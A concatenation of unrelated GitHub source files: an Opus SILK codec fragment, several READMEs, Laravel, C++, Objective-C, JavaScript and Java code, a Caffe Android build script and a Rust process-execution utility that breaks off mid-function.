neg_xX_Q24[ 0 ] = -silk_LSHIFT32( xX_Q17[ 0 ], 7 ); neg_xX_Q24[ 1 ] = -silk_LSHIFT32( xX_Q17[ 1 ], 7 ); neg_xX_Q24[ 2 ] = -silk_LSHIFT32( xX_Q17[ 2 ], 7 ); neg_xX_Q24[ 3 ] = -silk_LSHIFT32( xX_Q17[ 3 ], 7 ); neg_xX_Q24[ 4 ] = -silk_LSHIFT32( xX_Q17[ 4 ], 7 ); /* Loop over codebook */ *rate_dist_Q8 = silk_int32_MAX; *res_nrg_Q15 = silk_int32_MAX; cb_row_Q7 = cb_Q7; /* In things go really bad, at least *ind is set to something safe. */ *ind = 0; for( k = 0; k < L; k++ ) { opus_int32 penalty; gain_tmp_Q7 = cb_gain_Q7[k]; /* Weighted rate */ /* Quantization error: 1 - 2 * xX * cb + cb' * XX * cb */ sum1_Q15 = SILK_FIX_CONST( 1.001, 15 ); /* Penalty for too large gain */ penalty = silk_LSHIFT32( silk_max( silk_SUB32( gain_tmp_Q7, max_gain_Q7 ), 0 ), 11 ); /* first row of XX_Q17 */ sum2_Q24 = silk_MLA( neg_xX_Q24[ 0 ], XX_Q17[ 1 ], cb_row_Q7[ 1 ] ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 2 ], cb_row_Q7[ 2 ] ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 3 ], cb_row_Q7[ 3 ] ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 4 ], cb_row_Q7[ 4 ] ); sum2_Q24 = silk_LSHIFT32( sum2_Q24, 1 ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 0 ], cb_row_Q7[ 0 ] ); sum1_Q15 = silk_SMLAWB( sum1_Q15, sum2_Q24, cb_row_Q7[ 0 ] ); /* second row of XX_Q17 */ sum2_Q24 = silk_MLA( neg_xX_Q24[ 1 ], XX_Q17[ 7 ], cb_row_Q7[ 2 ] ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 8 ], cb_row_Q7[ 3 ] ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 9 ], cb_row_Q7[ 4 ] ); sum2_Q24 = silk_LSHIFT32( sum2_Q24, 1 ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 6 ], cb_row_Q7[ 1 ] ); sum1_Q15 = silk_SMLAWB( sum1_Q15, sum2_Q24, cb_row_Q7[ 1 ] ); /* third row of XX_Q17 */ sum2_Q24 = silk_MLA( neg_xX_Q24[ 2 ], XX_Q17[ 13 ], cb_row_Q7[ 3 ] ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 14 ], cb_row_Q7[ 4 ] ); sum2_Q24 = silk_LSHIFT32( sum2_Q24, 1 ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 12 ], cb_row_Q7[ 2 ] ); sum1_Q15 = silk_SMLAWB( sum1_Q15, sum2_Q24, cb_row_Q7[ 2 ] ); /* fourth row of XX_Q17 */ sum2_Q24 = silk_MLA( neg_xX_Q24[ 3 ], XX_Q17[ 19 ], cb_row_Q7[ 4 ] ); sum2_Q24 = silk_LSHIFT32( sum2_Q24, 1 ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 18 ], cb_row_Q7[ 3 ] ); sum1_Q15 = silk_SMLAWB( sum1_Q15, sum2_Q24, cb_row_Q7[ 3 ] ); /* last row of XX_Q17 */ sum2_Q24 = silk_LSHIFT32( neg_xX_Q24[ 4 ], 1 ); sum2_Q24 = silk_MLA( sum2_Q24, XX_Q17[ 24 ], cb_row_Q7[ 4 ] ); sum1_Q15 = silk_SMLAWB( sum1_Q15, sum2_Q24, cb_row_Q7[ 4 ] ); /* find best */ if( sum1_Q15 >= 0 ) { /* Translate residual energy to bits using high-rate assumption (6 dB ==> 1 bit/sample) */ bits_res_Q8 = silk_SMULBB( subfr_len, silk_lin2log( sum1_Q15 + penalty) - (15 << 7) ); /* In the following line we reduce the codelength component by half ("-1"); seems to slghtly improve quality */ bits_tot_Q8 = silk_ADD_LSHIFT32( bits_res_Q8, cl_Q5[ k ], 3-1 ); if( bits_tot_Q8 <= *rate_dist_Q8 ) { *rate_dist_Q8 = bits_tot_Q8; *res_nrg_Q15 = sum1_Q15 + penalty; *ind = (opus_int8)k; *gain_Q7 = gain_tmp_Q7; } } /* Go to next cbk vector */ cb_row_Q7 += LTP_ORDER; } }
{ "pile_set_name": "Github" }
'use strict' const _isEmpty = require('lodash/isEmpty') const _isFunction = require('lodash/isFunction') /** * Grabs an argument from the arguments list if we've been executed via node or * npm * * @param {number} index - starting after invocation (2) * @param {string} def - fallback value if none found/not supported * @param {Function?} parser - optional, used to process value if provided * @returns {string} value */ module.exports = (index, def, parser) => { const val = /node/.test(process.argv[0]) || /npm/.test(process.argv[0]) ? _isEmpty(process.argv[2 + index]) ? def : process.argv[2 + index] : def return _isFunction(parser) ? parser(val) : val }
{ "pile_set_name": "Github" }
# on-finished [![NPM Version][npm-image]][npm-url] [![NPM Downloads][downloads-image]][downloads-url] [![Node.js Version][node-version-image]][node-version-url] [![Build Status][travis-image]][travis-url] [![Test Coverage][coveralls-image]][coveralls-url] Execute a callback when a HTTP request closes, finishes, or errors. ## Install ```sh $ npm install on-finished ``` ## API ```js var onFinished = require('on-finished') ``` ### onFinished(res, listener) Attach a listener to listen for the response to finish. The listener will be invoked only once when the response finished. If the response finished to an error, the first argument will contain the error. If the response has already finished, the listener will be invoked. Listening to the end of a response would be used to close things associated with the response, like open files. Listener is invoked as `listener(err, res)`. ```js onFinished(res, function (err, res) { // clean up open fds, etc. // err contains the error is request error'd }) ``` ### onFinished(req, listener) Attach a listener to listen for the request to finish. The listener will be invoked only once when the request finished. If the request finished to an error, the first argument will contain the error. If the request has already finished, the listener will be invoked. Listening to the end of a request would be used to know when to continue after reading the data. Listener is invoked as `listener(err, req)`. ```js var data = '' req.setEncoding('utf8') res.on('data', function (str) { data += str }) onFinished(req, function (err, req) { // data is read unless there is err }) ``` ### onFinished.isFinished(res) Determine if `res` is already finished. This would be useful to check and not even start certain operations if the response has already finished. ### onFinished.isFinished(req) Determine if `req` is already finished. This would be useful to check and not even start certain operations if the request has already finished. ## Special Node.js requests ### HTTP CONNECT method The meaning of the `CONNECT` method from RFC 7231, section 4.3.6: > The CONNECT method requests that the recipient establish a tunnel to > the destination origin server identified by the request-target and, > if successful, thereafter restrict its behavior to blind forwarding > of packets, in both directions, until the tunnel is closed. Tunnels > are commonly used to create an end-to-end virtual connection, through > one or more proxies, which can then be secured using TLS (Transport > Layer Security, [RFC5246]). In Node.js, these request objects come from the `'connect'` event on the HTTP server. When this module is used on a HTTP `CONNECT` request, the request is considered "finished" immediately, **due to limitations in the Node.js interface**. This means if the `CONNECT` request contains a request entity, the request will be considered "finished" even before it has been read. There is no such thing as a response object to a `CONNECT` request in Node.js, so there is no support for for one. ### HTTP Upgrade request The meaning of the `Upgrade` header from RFC 7230, section 6.1: > The "Upgrade" header field is intended to provide a simple mechanism > for transitioning from HTTP/1.1 to some other protocol on the same > connection. In Node.js, these request objects come from the `'upgrade'` event on the HTTP server. When this module is used on a HTTP request with an `Upgrade` header, the request is considered "finished" immediately, **due to limitations in the Node.js interface**. This means if the `Upgrade` request contains a request entity, the request will be considered "finished" even before it has been read. There is no such thing as a response object to a `Upgrade` request in Node.js, so there is no support for for one. ## Example The following code ensures that file descriptors are always closed once the response finishes. ```js var destroy = require('destroy') var http = require('http') var onFinished = require('on-finished') http.createServer(function onRequest(req, res) { var stream = fs.createReadStream('package.json') stream.pipe(res) onFinished(res, function (err) { destroy(stream) }) }) ``` ## License [MIT](LICENSE) [npm-image]: https://img.shields.io/npm/v/on-finished.svg [npm-url]: https://npmjs.org/package/on-finished [node-version-image]: https://img.shields.io/node/v/on-finished.svg [node-version-url]: http://nodejs.org/download/ [travis-image]: https://img.shields.io/travis/jshttp/on-finished/master.svg [travis-url]: https://travis-ci.org/jshttp/on-finished [coveralls-image]: https://img.shields.io/coveralls/jshttp/on-finished/master.svg [coveralls-url]: https://coveralls.io/r/jshttp/on-finished?branch=master [downloads-image]: https://img.shields.io/npm/dm/on-finished.svg [downloads-url]: https://npmjs.org/package/on-finished
{ "pile_set_name": "Github" }
<?php namespace App\Providers; use Illuminate\Support\Facades\Route; use Illuminate\Foundation\Support\Providers\RouteServiceProvider as ServiceProvider; class RouteServiceProvider extends ServiceProvider { /** * This namespace is applied to your controller routes. * * In addition, it is set as the URL generator's root namespace. * * @var string */ protected $namespace = 'App\Http\Controllers'; /** * Define your route model bindings, pattern filters, etc. * * @return void */ public function boot() { // parent::boot(); } /** * Define the routes for the application. * * @return void */ public function map() { $this->mapApiRoutes(); $this->mapWebRoutes(); // } /** * Define the "web" routes for the application. * * These routes all receive session state, CSRF protection, etc. * * @return void */ protected function mapWebRoutes() { Route::middleware('web') ->namespace($this->namespace) ->group(base_path('routes/web.php')); } /** * Define the "api" routes for the application. * * These routes are typically stateless. * * @return void */ protected function mapApiRoutes() { Route::prefix('api') ->middleware('api') ->namespace($this->namespace) ->group(base_path('routes/api.php')); } }
{ "pile_set_name": "Github" }
ERROR: type should be string, got "https://github.com/3F/coreclr\n- - - - - - - - - - - - - - - -\n\n# coreclr \\ ILAsm\n\n[v4.5.1]\n\n * FIXED: Fixed using of cvtres (.res -> obj COFF-format) in mscorpe.\n Possible crash: https://github.com/3F/coreclr/issues/2\n Related Issue: https://github.com/3F/DllExport/issues/17\n \n * NEW: Implemented additional searching of the converters of resources:\n Environment PATH, local directory, and other additional from user path.\n Now it also can be wrapped like ` mytool.cmd -> cvtres.exe %* ` etc.\n \n * NEW: Added new /CVRES (/CVR) key to ilasm.exe\n `/CVRES=<path_to_file> Set path to cvtres tool: /CVR=cvtres.exe /CVR=tool\\cvtres.cmd /CVR=D:\\tool\\`\n \n * NOTE: based on 4.5.22220.0 / coreclr 1.0.4\n ^ ^ ^ ^\n | | | |-- VER_FILEVERSIONREVISION\n | | |------- VER_FILEVERSIONBUILD\n | |---------- VER_FILEVERSIONMINOR\n |------------ VER_MAJORVERSION\n \n\n"
{ "pile_set_name": "Github" }
@echo off rem rem Installation script for CK packages. rem rem See CK LICENSE.txt for licensing details. rem See CK Copyright.txt for copyright details. rem rem Developer(s): Grigori Fursin, 2016-2017 rem rem PACKAGE_DIR rem INSTALL_DIR echo ************************************************************** echo Extra patching on Windows host ... cd %INSTALL_DIR%\%PACKAGE_SUB_DIR% patch -p1 < %ORIGINAL_PACKAGE_DIR%\scripts.android\patch-host-win echo ************************************************************** echo Preparing vars for Caffe ... set CK_OPENMP=-fopenmp if "%CK_HAS_OPENMP%" == "0" ( set CK_OPENMP= ) set EXTRA_FLAGS= if "%CK_CPU_ARM_NEON%" == "ON" ( set EXTRA_FLAGS=%EXTRA_FLAGS% -mfpu=neon ) if "%CK_CPU_ARM_VFPV3%" == "ON" ( set EXTRA_FLAGS=%EXTRA_FLAGS% -mfpu=vfpv3 ) if "%CK_VIENNACL_DEBUG%" == "ON" ( set EXTRA_FLAGS=%EXTRA_FLAGS% -DVIENNACL_DEBUG_ALL ) set CK_CC_FLAGS_FOR_CMAKE=%CK_CC_FLAGS_FOR_CMAKE% %EXTRA_FLAGS% -I%CK_ENV_LIB_OPENCV_INCLUDE% set CK_CXX_FLAGS_FOR_CMAKE=%CK_CXX_FLAGS_FOR_CMAKE% %EXTRA_FLAGS% -I%CK_ENV_LIB_OPENCV_INCLUDE% set CLBlast_DIR=%CK_ENV_LIB_CLBLAST% set CK_CMAKE_EXTRA=%CK_CMAKE_EXTRA% ^ -DCMAKE_SHARED_LINKER_FLAGS="%CK_OPENMP%" ^ -DCMAKE_EXE_LINKER_FLAGS="%CK_OPENMP%" ^ -DBLAS=%BLAS_TYPE% ^ -DBUILD_python=OFF ^ -DBUILD_docs=OFF ^ -DCPU_ONLY=OFF ^ -DUSE_CUDA=OFF ^ -DUSE_GREENTEA=ON ^ -DUSE_LIBDNN:BOOL=%USE_LIBDNN% ^ -DUSE_CLBLAS:BOOL=%USE_CLBLAS% ^ -DUSE_CLBLAST:BOOL=%USE_CLBLAST% ^ -DUSE_ISAAC:BOOL=%USE_ISAAC% ^ -DUSE_LMDB=OFF ^ -DUSE_LEVELDB=OFF ^ -DUSE_HDF5=OFF ^ -DDISABLE_DEVICE_HOST_UNIFIED_MEMORY=%DISABLE_DEVICE_HOST_UNIFIED_MEMORY% ^ -DDISABLE_DOUBLE_SUPPORT=%DISABLE_DOUBLE_SUPPORT% ^ -DGFLAGS_INCLUDE_DIR="%CK_ENV_LIB_GFLAGS_INCLUDE%" ^ -DGFLAGS_LIBRARY="%CK_ENV_LIB_GFLAGS_LIB%\libgflags.a" ^ -DGLOG_INCLUDE_DIR="%CK_ENV_LIB_GLOG_INCLUDE%" ^ -DGLOG_LIBRARY="%CK_ENV_LIB_GLOG_LIB%\libglog.a" ^ -DCMAKE_BUILD_TYPE:STRING=%CMAKE_CONFIG% ^ -DPROTOBUF_INCLUDE_DIR="%CK_ENV_LIB_PROTOBUF_INCLUDE%" ^ -DPROTOBUF_LIBRARY="%CK_ENV_LIB_PROTOBUF_LIB%\libprotobuf.a" ^ -DVIENNACL_HOME="%CK_ENV_LIB_VIENNACL%" ^ -DVIENNACL_DIR="%CK_ENV_LIB_VIENNACL_INCLUDE%" ^ -DViennaCL_DIR="%CK_ENV_LIB_VIENNACL_INCLUDE%" ^ -DViennaCL_INCLUDE_DIRS="%CK_ENV_LIB_VIENNACL_INCLUDE%" ^ -DViennaCL_INCLUDE_DIR="%CK_ENV_LIB_VIENNACL_INCLUDE%" ^ -DViennaCL_LIBRARIES="%CK_ENV_LIB_VIENNACL_LIB%" ^ -DOpenBLAS_INCLUDE_DIR="%CK_ENV_LIB_OPENBLAS_INCLUDE%" ^ -DOpenBLAS_LIB="%CK_ENV_LIB_OPENBLAS_LIB%\libopenblas.a" ^ -DOpenCL_DIR="%CK_ENV_LIB_OPENCL%" ^ -DOPENCL_ROOT="%CK_ENV_LIB_OPENCL%" ^ -DOPENCL_LIBRARIES="%CK_ENV_LIB_OPENCL_LIB%\libOpenCL.so" ^ -DOPENCL_INCLUDE_DIRS="%CK_ENV_LIB_OPENCL_INCLUDE%" ^ -DCLBlast_DIR="%CK_ENV_LIB_CLBLAST%" ^ -DCLBLAST_LIB="%CK_ENV_LIB_CLBLAST_LIB%" ^ -DCLBLAST_INCLUDE="%CK_ENV_LIB_CLBLAST_INCLUDE%" ^ -DBoost_ADDITIONAL_VERSIONS="1.62" ^ -DBoost_NO_SYSTEM_PATHS=ON ^ -DBOOST_ROOT=%CK_ENV_LIB_BOOST% ^ -DBOOST_INCLUDEDIR="%CK_ENV_LIB_BOOST_INCLUDE%" ^ -DBOOST_LIBRARYDIR="%CK_ENV_LIB_BOOST_LIB%" ^ -DBoost_INCLUDE_DIR="%CK_ENV_LIB_BOOST_INCLUDE%" ^ -DBoost_LIBRARY_DIR="%CK_ENV_LIB_BOOST_LIB%" ^ -DBoost_USE_STATIC_LIBS=ON ^ -DANDROID_NATIVE_API_LEVEL=%CK_ANDROID_API_LEVEL% ^ -DANDROID_NDK_ABI_NAME="%CK_ANDROID_ABI%" ^ -DANDROID=ON ^ -DANDROID_NATIVE_API_LEVEL=%CK_ANDROID_API_LEVEL% ^ -DANDROID_NDK_ABI_NAME=%CK_ANDROID_ABI% ^ -DOpenCV_DIR="%CK_ENV_LIB_OPENCV_JNI%" ^ -DCMAKE_PLATFORM_NO_VERSIONED_SONAME=1 ^ %CK_CMAKE_EXTRA% ^ -DCMAKE_SYSTEM_NAME="Linux" rem -DCMAKE_SYSTEM_NAME="Android" rem -DCMAKE_SYSTEM="%CK_ANDROID_NDK_PLATFORM%" ^ rem -DCMAKE_SYSTEM_PROCESSOR="%CK_CMAKE_SYSTEM_PROCESSOR%" rem -DCMAKE_CROSSCOMPILING=TRUE ^ exit /b 0
{ "pile_set_name": "Github" }
## README 这里将每天更新一篇面经,希望对后续的面试有所帮助!也能全面的梳理基础知识
{ "pile_set_name": "Github" }
[android-components](../../index.md) / [mozilla.components.browser.engine.system.matcher](../index.md) / [UrlMatcher](index.md) / [ADVERTISING](./-a-d-v-e-r-t-i-s-i-n-g.md) # ADVERTISING `const val ADVERTISING: `[`String`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html) [(source)](https://github.com/mozilla-mobile/android-components/blob/master/components/browser/engine-system/src/main/java/mozilla/components/browser/engine/system/matcher/UrlMatcher.kt#L150)
{ "pile_set_name": "Github" }
// -*- C++ -*- //============================================================================= /** * @file os_libgen.h * * definitions for pattern matching functions * * $Id: os_libgen.h 80826 2008-03-04 14:51:23Z wotte $ * * @author Don Hinton <[email protected]> * @author This code was originally in various places including ace/OS.h. */ //============================================================================= #ifndef ACE_OS_INCLUDE_OS_LIBGEN_H #define ACE_OS_INCLUDE_OS_LIBGEN_H #include /**/ "ace/pre.h" #include /**/ "ace/config-all.h" #if !defined (ACE_LACKS_PRAGMA_ONCE) # pragma once #endif /* ACE_LACKS_PRAGMA_ONCE */ #if !defined (ACE_LACKS_LIBGEN_H) # include /**/ <libgen.h> #endif /* !ACE_LACKS_LIBGEN_H */ // Place all additions (especially function declarations) within extern "C" {} #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ #ifdef __cplusplus } #endif /* __cplusplus */ #include /**/ "ace/post.h" #endif /* ACE_OS_INCLUDE_OS_LIBGEN_H */
{ "pile_set_name": "Github" }
#pragma once #include <cstdint> namespace Envoy { // Process-wide lifecycle events for global state in third-party dependencies, // e.g. c-ares. There should only ever be a single instance of this. class ProcessWide { public: ProcessWide(); ~ProcessWide(); private: uint32_t initialization_depth_; }; } // namespace Envoy
{ "pile_set_name": "Github" }
// // TADotView.m // TAPageControl // // Created by Tanguy Aladenise on 2015-01-22. // Copyright (c) 2015 Tanguy Aladenise. All rights reserved. // #import "TADotView.h" @implementation TADotView - (instancetype)init { self = [super init]; if (self) { [self initialization]; } return self; } - (id)initWithFrame:(CGRect)frame { self = [super initWithFrame:frame]; if (self) { [self initialization]; } return self; } - (id)initWithCoder:(NSCoder *)aDecoder { self = [super initWithCoder:aDecoder]; if (self) { [self initialization]; } return self; } - (void)initialization { self.backgroundColor = [UIColor clearColor]; self.layer.cornerRadius = CGRectGetWidth(self.frame) / 2; self.layer.borderColor = [UIColor whiteColor].CGColor; self.layer.borderWidth = 2; } - (void)changeActivityState:(BOOL)active { if (active) { self.backgroundColor = [UIColor whiteColor]; } else { self.backgroundColor = [UIColor clearColor]; } } @end
{ "pile_set_name": "Github" }
/* * Copyright 2013 Giulio Camuffo <[email protected]> * * This file is part of Orbital. Originally licensed under the GPLv3, relicensed * with permission for use in Papyros. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation, either version 2.1 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "alsamixer.h" static const char *card = "default"; static const char *selem_name = "Master"; AlsaMixer::AlsaMixer(Sound *m) : Backend() , m_mixer(m) { } AlsaMixer *AlsaMixer::create(Sound *m) { AlsaMixer *alsa = new AlsaMixer(m); if (!alsa) { return nullptr; } snd_mixer_open(&alsa->m_handle, 0); snd_mixer_attach(alsa->m_handle, card); snd_mixer_selem_register(alsa->m_handle, NULL, NULL); snd_mixer_load(alsa->m_handle); snd_mixer_selem_id_alloca(&alsa->m_sid); snd_mixer_selem_id_set_index(alsa->m_sid, 0); snd_mixer_selem_id_set_name(alsa->m_sid, selem_name); alsa->m_elem = snd_mixer_find_selem(alsa->m_handle, alsa->m_sid); if (!alsa->m_elem) { delete alsa; return nullptr; } snd_mixer_selem_get_playback_volume_range(alsa->m_elem, &alsa->m_min, &alsa->m_max); return alsa; } AlsaMixer::~AlsaMixer() { snd_mixer_close(m_handle); } void AlsaMixer::getBoundaries(int *min, int *max) const { *min = m_min; *max = m_max; } void AlsaMixer::setRawVol(int volume) { snd_mixer_selem_set_playback_volume_all(m_elem, volume); emit m_mixer->masterChanged(); } int AlsaMixer::rawVol() const { long vol; snd_mixer_selem_get_playback_volume(m_elem, SND_MIXER_SCHN_UNKNOWN, &vol); return vol; } bool AlsaMixer::muted() const { int mute; snd_mixer_selem_get_playback_switch(m_elem, SND_MIXER_SCHN_UNKNOWN, &mute); return !mute; } void AlsaMixer::setMuted(bool muted) { snd_mixer_selem_set_playback_switch_all(m_elem, !muted); emit m_mixer->mutedChanged(); }
{ "pile_set_name": "Github" }
import isAlphaNumeric from '../src'; it('should return true for a string of alphabetical characters (upper- and lower-case)', () => { expect(isAlphaNumeric('fooBAR')).toBe(true); }); it('should return true for a string of numeric characters', () => { expect(isAlphaNumeric('123')).toBe(true); }); it('should return true for a string of alphabetical and numeric characters', () => { expect(isAlphaNumeric('fooBAR123')).toBe(true); }); it('should return false for strings with non-numeric characters', () => { expect(isAlphaNumeric('!')).toBe(false); expect(isAlphaNumeric('@')).toBe(false); expect(isAlphaNumeric('.')).toBe(false); expect(isAlphaNumeric(' ')).toBe(false); expect(isAlphaNumeric('-')).toBe(false); expect(isAlphaNumeric('_')).toBe(false); expect(isAlphaNumeric('=')).toBe(false); expect(isAlphaNumeric('+')).toBe(false); expect(isAlphaNumeric('(')).toBe(false); expect(isAlphaNumeric('^')).toBe(false); expect(isAlphaNumeric('ä')).toBe(false); }); it('should return false for an empty string', () => { expect(isAlphaNumeric('')).toBe(false); }); it('should return false for inputs that are not strings', () => { expect(isAlphaNumeric(0)).toBe(false); expect(isAlphaNumeric(1.5)).toBe(false); expect(isAlphaNumeric(true)).toBe(false); expect(isAlphaNumeric(null)).toBe(false); expect(isAlphaNumeric(undefined)).toBe(false); expect(isAlphaNumeric({foo: 'bar'})).toBe(false); expect(isAlphaNumeric(['foo', 'bar'])).toBe(false); });
{ "pile_set_name": "Github" }
Search target DefaultNamespace.MethodsContainer4.VoidHandler4_a_1():void Found usages (2 usages found) <Assembly-CSharp> (1 usage found) Assets (1 usage found) MethodsContainer4.cs (1 usage found) DefaultNamespace (1 usage found) MethodsContainer4 (1 usage found) Test() (1 usage found) [216, Assets/MethodsContainer4.cs] (12: 13) VoidHandler4_a_1(); Assets (1 usage found) Ex4 (1 usage found) VariantRoot Variant.prefab (1 usage found) VariantRoot Variant (1 usage found) VariantBranchB (1 usage found) VariantLeafB (1 usage found) Script4 (1 usage found) m_MethodName: VoidHandler4_a_1
{ "pile_set_name": "Github" }
// (c)2016 Flipboard Inc, All Rights Reserved. package com.rengwuxian.rxjavasamples.module.token_4; import android.graphics.Color; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.widget.SwipeRefreshLayout; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import android.widget.Toast; import com.rengwuxian.rxjavasamples.BaseFragment; import com.rengwuxian.rxjavasamples.network.Network; import com.rengwuxian.rxjavasamples.R; import com.rengwuxian.rxjavasamples.network.api.FakeApi; import com.rengwuxian.rxjavasamples.model.FakeThing; import com.rengwuxian.rxjavasamples.model.FakeToken; import butterknife.BindView; import butterknife.ButterKnife; import butterknife.OnClick; import io.reactivex.Observable; import io.reactivex.android.schedulers.AndroidSchedulers; import io.reactivex.functions.Consumer; import io.reactivex.functions.Function; import io.reactivex.schedulers.Schedulers; public class TokenFragment extends BaseFragment { @BindView(R.id.tokenTv) TextView tokenTv; @BindView(R.id.swipeRefreshLayout) SwipeRefreshLayout swipeRefreshLayout; @OnClick(R.id.requestBt) void upload() { swipeRefreshLayout.setRefreshing(true); unsubscribe(); final FakeApi fakeApi = Network.getFakeApi(); disposable = fakeApi.getFakeToken("fake_auth_code") .flatMap(new Function<FakeToken, Observable<FakeThing>>() { @Override public Observable<FakeThing> apply(FakeToken fakeToken) { return fakeApi.getFakeData(fakeToken); } }) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new Consumer<FakeThing>() { @Override public void accept(FakeThing fakeData) { swipeRefreshLayout.setRefreshing(false); tokenTv.setText(getString(R.string.got_data, fakeData.id, fakeData.name)); } }, new Consumer<Throwable>() { @Override public void accept(Throwable throwable) { swipeRefreshLayout.setRefreshing(false); Toast.makeText(getActivity(), R.string.loading_failed, Toast.LENGTH_SHORT).show(); } }); } @Nullable @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_token, container, false); ButterKnife.bind(this, view); swipeRefreshLayout.setColorSchemeColors(Color.BLUE, Color.GREEN, Color.RED, Color.YELLOW); swipeRefreshLayout.setEnabled(false); return view; } @Override protected int getDialogRes() { return R.layout.dialog_token; } @Override protected int getTitleRes() { return R.string.title_token; } }
{ "pile_set_name": "Github" }
//! Utilities for creating and interacting with commands, including prettying up output and //! building command-line invocations. use crate::util::{error::Result, fmt_output, read2}; use failure::{bail, ResultExt}; use serde::{ de::{Deserialize, Deserializer, Error}, ser::{Serialize, Serializer}, }; use std::{ borrow::Cow, fmt::Display, process::{Command, ExitStatus, Output, Stdio}, }; /// The requested verbosity of output #[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)] pub enum Verbosity { None, Quiet, Normal, Verbose, } impl Serialize for Verbosity { fn serialize<S>(&self, serializer: S) -> std::result::Result<S::Ok, S::Error> where S: Serializer, { serializer.serialize_str(match *self { Verbosity::None => "none", Verbosity::Quiet => "quiet", Verbosity::Normal => "normal", Verbosity::Verbose => "verbose", }) } } impl<'de> Deserialize<'de> for Verbosity { fn deserialize<D>(deserializer: D) -> std::result::Result<Self, D::Error> where D: Deserializer<'de>, { let s = String::deserialize(deserializer)?; match s.as_str() { "none" => Ok(Verbosity::None), "quiet" => Ok(Verbosity::Quiet), "normal" => Ok(Verbosity::Normal), "verbose" => Ok(Verbosity::Verbose), _ => Err(Error::custom( r#"invalid verbosity: must be one of: none, quiet, normal, verbose"#.to_string(), )), } } } impl Default for Verbosity { fn default() -> Self { Verbosity::Normal } } #[derive(Debug, Clone, Copy)] pub struct Shell { pub verbosity: Verbosity, } impl Default for Shell { fn default() -> Self { Shell { verbosity: Verbosity::Normal, } } } impl Shell { pub fn println(self, status: impl Display, message: impl Display, min_verbosity: Verbosity) { if self.verbosity >= min_verbosity { println!("{:>12} {}", status, message); } } pub fn println_unindented( self, status: impl Display, message: impl Display, min_verbosity: Verbosity, ) { if self.verbosity >= min_verbosity { let message = format!("{}", message); println!("{} {}", status, message); } } pub fn println_plain(self, message: impl Display, min_verbosity: Verbosity) { if self.verbosity >= min_verbosity { let message = format!("{}", message); if !message.trim().is_empty() { println!("{}", message); } } } pub fn print_plain(self, message: impl Display, min_verbosity: Verbosity) { if self.verbosity >= min_verbosity { let message = format!("{}", message); if !message.trim().is_empty() { print!("{}", message); } } } pub fn println_empty(self, min_verbosity: Verbosity) { if self.verbosity >= min_verbosity { println!(""); } } } /// A group of command-line outputs. #[derive(Default)] pub struct OutputGroup(pub Vec<Output>); impl OutputGroup { pub fn new() -> Self { Self::default() } pub fn push(&mut self, out: Output) { self.0.push(out); } pub fn stdout(&self) -> impl Iterator<Item = Cow<'_, str>> { self.0.iter().map(|x| String::from_utf8_lossy(&x.stdout)) } pub fn stderr(&self) -> impl Iterator<Item = Cow<'_, str>> { self.0.iter().map(|x| String::from_utf8_lossy(&x.stderr)) } pub fn statuses(&self) -> Vec<ExitStatus> { self.0.iter().map(|x| x.status).collect() } /// Returns the index of the first failed output, or None. pub fn status(&self) -> Option<usize> { for (i, o) in self.0.iter().enumerate() { if !o.status.success() { return Some(i); } } None } } impl From<Output> for OutputGroup { fn from(f: Output) -> OutputGroup { OutputGroup(vec![f]) } } /// An extension trait for Commands pub trait CommandExt { // This is taken from Cargo (MIT licensed): // https://github.com/rust-lang/cargo/blob/76ce4df/src/cargo/util/process_builder.rs#L196 /// Execute a command, passing each line of stdout and stderr to the supplied callbacks, which /// can mutate the string data. /// /// If any invocations of these function return an error, it will be propagated. /// /// Optionally, output can be passed to errors using `capture_output`. fn exec_streaming( &mut self, on_stdout_line: &mut impl FnMut(&str) -> Result<()>, on_stderr_line: &mut impl FnMut(&str) -> Result<()>, capture_output: bool, ) -> Result<Output>; } impl CommandExt for Command { fn exec_streaming( &mut self, on_stdout_line: &mut impl FnMut(&str) -> Result<()>, on_stderr_line: &mut impl FnMut(&str) -> Result<()>, capture_output: bool, ) -> Result<Output> { let mut stdout = Vec::new(); let mut stderr = Vec::new(); self.stdout(Stdio::piped()) .stderr(Stdio::piped()) .stdin(Stdio::null()); let mut callback_error = None; let status = (|| { let mut child = self.spawn()?; let out = child.stdout.take().unwrap(); let err = child.stderr.take().unwrap(); read2(out, err, &mut |is_out, data, eof| { let idx = if eof { data.len() } else { match data.iter().rposition(|b| *b == b'\n') { Some(i) => i + 1, None => return, } }; { // scope for new_lines let new_lines = if capture_output { let dst = if is_out { &mut stdout } else { &mut stderr }; let start = dst.len(); let data = data.drain(..idx); dst.extend(data); &dst[start..] } else { &data[..idx] }; for line in String::from_utf8_lossy(new_lines).lines() { if callback_error.is_some() { break; } let callback_result = if is_out { on_stdout_line(line) } else { on_stderr_line(line) }; if let Err(e) = callback_result { callback_error = Some(e); } } } if !capture_output { data.drain(..idx); } })?; child.wait() })() .context(format!("could not execute process {:?}", self))?; let output = Output { stdout, stderr, status, }; { if let Some(e) = callback_error { return Err(e); } else if !output.status.success() { bail!( "process didn't exit successfully: {:?} (code {:?})\n{})", self, Some(output.status), if capture_output { 